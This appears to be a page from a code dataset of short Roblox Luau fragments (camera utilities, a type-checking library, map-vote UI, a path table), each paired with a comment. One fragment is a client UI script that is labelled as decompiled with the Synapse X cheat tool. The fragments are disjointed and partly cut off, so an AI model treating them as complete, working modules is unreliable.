|
-- Creates a new timer and keeps track of it's time in the timeLeft value
|
local gameTimer = timer.new()
local displayValues = ReplicatedStorage.DisplayValues
local timeLeft = displayValues.TimeLeft
|
--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.
|
module.BubbleChatEnabled = PlayersService.ClassicChat
module.ClassicChatEnabled = PlayersService.ClassicChat
|
-- This function converts 4 different, redundant enumeration types to one standard so the values can be compared
|
function CameraUtils.ConvertCameraModeEnumToStandard(enumValue)
if enumValue == Enum.TouchCameraMovementMode.Default then
return Enum.ComputerCameraMovementMode.Follow
end
if enumValue == Enum.ComputerCameraMovementMode.Default then
return Enum.ComputerCameraMovementMode.Classic
end
if enumValue == Enum.TouchCameraMovementMode.Classic or
enumValue == Enum.DevTouchCameraMovementMode.Classic or
enumValue == Enum.DevComputerCameraMovementMode.Classic or
enumValue == Enum.ComputerCameraMovementMode.Classic then
return Enum.ComputerCameraMovementMode.Classic
end
if enumValue == Enum.TouchCameraMovementMode.Follow or
enumValue == Enum.DevTouchCameraMovementMode.Follow or
enumValue == Enum.DevComputerCameraMovementMode.Follow or
enumValue == Enum.ComputerCameraMovementMode.Follow then
return Enum.ComputerCameraMovementMode.Follow
end
if enumValue == Enum.TouchCameraMovementMode.Orbital or
enumValue == Enum.DevTouchCameraMovementMode.Orbital or
enumValue == Enum.DevComputerCameraMovementMode.Orbital or
enumValue == Enum.ComputerCameraMovementMode.Orbital then
return Enum.ComputerCameraMovementMode.Orbital
end
if FFlagUserCameraToggle then
if enumValue == Enum.ComputerCameraMovementMode.CameraToggle or
enumValue == Enum.DevComputerCameraMovementMode.CameraToggle then
return Enum.ComputerCameraMovementMode.CameraToggle
end
end
-- Note: Only the Dev versions of the Enums have UserChoice as an option
if enumValue == Enum.DevTouchCameraMovementMode.UserChoice or
enumValue == Enum.DevComputerCameraMovementMode.UserChoice then
return Enum.DevComputerCameraMovementMode.UserChoice
end
-- For any unmapped options return Classic camera
return Enum.ComputerCameraMovementMode.Classic
end
return CameraUtils
|
-- Note: Called whenever workspace.CurrentCamera changes, but also on initialization of this script
|
function CameraModule:OnCurrentCameraChanged()
local currentCamera = game.Workspace.CurrentCamera
if not currentCamera then return end
if self.cameraSubjectChangedConn then
self.cameraSubjectChangedConn:Disconnect()
end
if self.cameraTypeChangedConn then
self.cameraTypeChangedConn:Disconnect()
end
self.cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
self:OnCameraSubjectChanged(currentCamera.CameraSubject)
end)
self.cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):Connect(function()
self:OnCameraTypeChanged(currentCamera.CameraType)
end)
self:OnCameraSubjectChanged(currentCamera.CameraSubject)
self:OnCameraTypeChanged(currentCamera.CameraType)
end
function CameraModule:OnLocalPlayerCameraPropertyChanged(propertyName)
if propertyName == "CameraMode" then
-- CameraMode is only used to turn on/off forcing the player into first person view. The
-- Note: The case "Classic" is used for all other views and does not correspond only to the ClassicCamera module
if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then
-- Locked in first person, use ClassicCamera which supports this
if not self.activeCameraController or self.activeCameraController:GetModuleName() ~= "ClassicCamera" then
self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(Enum.DevComputerCameraMovementMode.Classic))
end
if self.activeCameraController then
self.activeCameraController:UpdateForDistancePropertyChange()
end
elseif Players.LocalPlayer.CameraMode == Enum.CameraMode.Classic then
-- Not locked in first person view
local cameraMovementMode =self: GetCameraMovementModeFromSettings()
self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
else
warn("Unhandled value for property player.CameraMode: ",Players.LocalPlayer.CameraMode)
end
elseif propertyName == "DevComputerCameraMode" or
propertyName == "DevTouchCameraMode" then
local cameraMovementMode = self:GetCameraMovementModeFromSettings()
self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
elseif propertyName == "DevCameraOcclusionMode" then
self:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode)
elseif propertyName == "CameraMinZoomDistance" or propertyName == "CameraMaxZoomDistance" then
if self.activeCameraController then
self.activeCameraController:UpdateForDistancePropertyChange()
end
elseif propertyName == "DevTouchMovementMode" then
elseif propertyName == "DevComputerMovementMode" then
elseif propertyName == "DevEnableMouseLock" then
-- This is the enabling/disabling of "Shift Lock" mode, not LockFirstPerson (which is a CameraMode)
-- Note: Enabling and disabling of MouseLock mode is normally only a publish-time choice made via
-- the corresponding EnableMouseLockOption checkbox of StarterPlayer, and this script does not have
-- support for changing the availability of MouseLock at runtime (this would require listening to
-- Player.DevEnableMouseLock changes)
end
end
function CameraModule:OnUserGameSettingsPropertyChanged(propertyName)
if propertyName == "ComputerCameraMovementMode" then
local cameraMovementMode = self:GetCameraMovementModeFromSettings()
self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
end
end
|
--[[**
ensures value is a table and all keys pass keyCheck and all values pass valueCheck
@param keyCheck The function to use to check the keys
@param valueCheck The function to use to check the values
@returns A function that will return true iff the condition is passed
**--]]
|
function t.map(keyCheck, valueCheck)
assert(t.callback(keyCheck), t.callback(valueCheck))
local keyChecker = t.keys(keyCheck)
local valueChecker = t.values(valueCheck)
return function(value)
local keySuccess, keyErr = keyChecker(value)
if not keySuccess then
return false, keyErr or ""
end
local valueSuccess, valueErr = valueChecker(value)
if not valueSuccess then
return false, valueErr or ""
end
return true
end
end
do
local arrayKeysCheck = t.keys(t.integer)
--[[**
ensures value is an array and all values of the array match check
@param check The check to compare all values with
@returns A function that will return true iff the condition is passed
**--]]
function t.array(check)
assert(t.callback(check))
local valuesCheck = t.values(check)
return function(value)
local keySuccess, keyErrMsg = arrayKeysCheck(value)
if keySuccess == false then
return false, string.format("[array] %s", keyErrMsg or "")
end
-- all keys are sequential
local arraySize = #value
for key in pairs(value) do
if key < 1 or key > arraySize then
return false, string.format("[array] key %s must be sequential", tostring(key))
end
end
local valueSuccess, valueErrMsg = valuesCheck(value)
if not valueSuccess then
return false, string.format("[array] %s", valueErrMsg or "")
end
return true
end
end
end
do
local callbackArray = t.array(t.callback)
--[[**
creates a union type
@param ... The checks to union
@returns A function that will return true iff the condition is passed
**--]]
function t.union(...)
local checks = {...}
assert(callbackArray(checks))
return function(value)
for _, check in pairs(checks) do
if check(value) then
return true
end
end
return false, "bad type for union"
end
end
--[[**
creates an intersection type
@param ... The checks to intersect
@returns A function that will return true iff the condition is passed
**--]]
function t.intersection(...)
local checks = {...}
assert(callbackArray(checks))
return function(value)
for _, check in pairs(checks) do
local success, errMsg = check(value)
if not success then
return false, errMsg or ""
end
end
return true
end
end
end
do
local checkInterface = t.map(t.string, t.callback)
--[[**
ensures value matches given interface definition
@param checkTable The interface definition
@returns A function that will return true iff the condition is passed
**--]]
function t.interface(checkTable)
assert(checkInterface(checkTable))
return function(value)
local tableSuccess, tableErrMsg = t.table(value)
if tableSuccess == false then
return false, tableErrMsg or ""
end
for key, check in pairs(checkTable) do
local success, errMsg = check(value[key])
if success == false then
return false, string.format("[interface] bad value for %s:\n\t%s", key, errMsg or "")
end
end
return true
end
end
--[[**
ensures value matches given interface definition strictly
@param checkTable The interface definition
@returns A function that will return true iff the condition is passed
**--]]
function t.strictInterface(checkTable)
assert(checkInterface(checkTable))
return function(value)
local tableSuccess, tableErrMsg = t.table(value)
if tableSuccess == false then
return false, tableErrMsg or ""
end
for key, check in pairs(checkTable) do
local success, errMsg = check(value[key])
if success == false then
return false, string.format("[interface] bad value for %s:\n\t%s", key, errMsg or "")
end
end
for key in pairs(value) do
if not checkTable[key] then
return false, string.format("[interface] unexpected field '%s'", key)
end
end
return true
end
end
end
|
--| Humanoid, HumanoidRootPart |--
|
local Humanoid = Characters:WaitForChild("Humanoid")
local HumanoidRootPart = Characters:WaitForChild("HumanoidRootPart")
|
-- goro7
|
local voteStates = game.ServerStorage.States.MapVote
voteStates.CurrentlyVoting.Changed:connect(function()
-- Adjust visiblity
local newVal = voteStates.CurrentlyVoting.Value
script.Parent.Image.Visible = newVal
script.Parent.CountLabel.Visible = newVal
script.Parent.MapName.Visible = newVal
script.Parent.Count.Visible = newVal
end)
voteStates.Map2.Changed:connect(function()
-- Update map name and image
local newMap = voteStates.Map2.Value
script.Parent.Image.Image = newMap.ImageAsset.Value
script.Parent.MapName.Text = newMap.Name
end)
voteStates.Count2.Changed:connect(function()
-- Update map count
script.Parent.Count.Text = voteStates.Count2.Value
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
local v1 = nil;
local l__PlayerGui__2 = service.PlayerGui;
local l__LocalPlayer__3 = service.Players.LocalPlayer;
local v4 = service.New("ScreenGui");
local v5 = service.New("ImageButton", v4);
v1 = client.UI.Register(v4);
if client.UI.Get("HelpButton", v4, true) then
v4:Destroy();
v1:Destroy();
return nil;
end;
v1.Name = "HelpButton";
v1.CanKeepAlive = false;
v5.Name = "Toggle";
v5.BackgroundTransparency = 1;
v5.Position = UDim2.new(1, -45, 1, -45);
v5.Size = UDim2.new(0, 40, 0, 40);
v5.Image = "rbxassetid://357249130";
v5.ImageTransparency = 0.5;
v5.MouseButton1Down:connect(function()
local v6 = client.UI.Get("UserPanel", nil, true);
if not v6 then
client.UI.Make("UserPanel", {});
return;
end;
v6.Object:Destroy();
end);
v1:Ready();
end;
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{34,35,39,41,30,56,58},t},
[49]={{34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{34,35,39,41,30,56,58,20,19},t},
[59]={{34,35,39,41,59},t},
[63]={{34,35,39,41,30,56,58,23,62,63},t},
[34]={{34},t},
[21]={{34,35,39,41,30,56,58,20,21},t},
[48]={{34,32,31,29,28,44,45,49,48},t},
[27]={{34,32,31,29,28,27},t},
[14]={n,f},
[31]={{34,32,31},t},
[56]={{34,35,39,41,30,56},t},
[29]={{34,32,31,29},t},
[13]={n,f},
[47]={{34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{34,32,31,29,28,44,45},t},
[57]={{34,35,39,41,30,56,57},t},
[36]={{34,32,33,36},t},
[25]={{34,32,31,29,28,27,26,25},t},
[71]={{34,35,39,41,59,61,71},t},
[20]={{34,35,39,41,30,56,58,20},t},
[60]={{34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{34,35,39,41,30,56,58,20,21,22},t},
[74]={{34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{34,35,37},t},
[2]={n,f},
[35]={{34,35},t},
[53]={{34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{34,35,39,41,59,61,71,72,76,73},t},
[72]={{34,35,39,41,59,61,71,72},t},
[33]={{34,32,33},t},
[69]={{34,35,39,41,60,69},t},
[65]={{34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{34,32,31,29,28,27,26},t},
[68]={{34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{34,35,39,41,59,61,71,72,76},t},
[50]={{34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{34,32,31,29,28,27,26,25,24},t},
[23]={{34,35,39,41,30,56,58,23},t},
[44]={{34,32,31,29,28,44},t},
[39]={{34,35,39},t},
[32]={{34,32},t},
[3]={n,f},
[30]={{34,35,39,41,30},t},
[51]={{34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{34,35,39,41,59,61},t},
[55]={{34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{34,35,38,42},t},
[40]={{34,35,40},t},
[52]={{34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{34,35,39,41},t},
[17]={n,f},
[38]={{34,35,38},t},
[28]={{34,32,31,29,28},t},
[5]={n,f},
[64]={{34,35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
--- Returns whatever the Transform method gave us.
|
function Argument:GetTransformedValue(segment)
return unpack(self.TransformedValues[segment])
end
|
-- Libraries
|
local Roact = require(Vendor:WaitForChild 'Roact')
local Maid = require(Libraries:WaitForChild 'Maid')
local Support = require(Libraries:WaitForChild 'SupportLibrary')
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.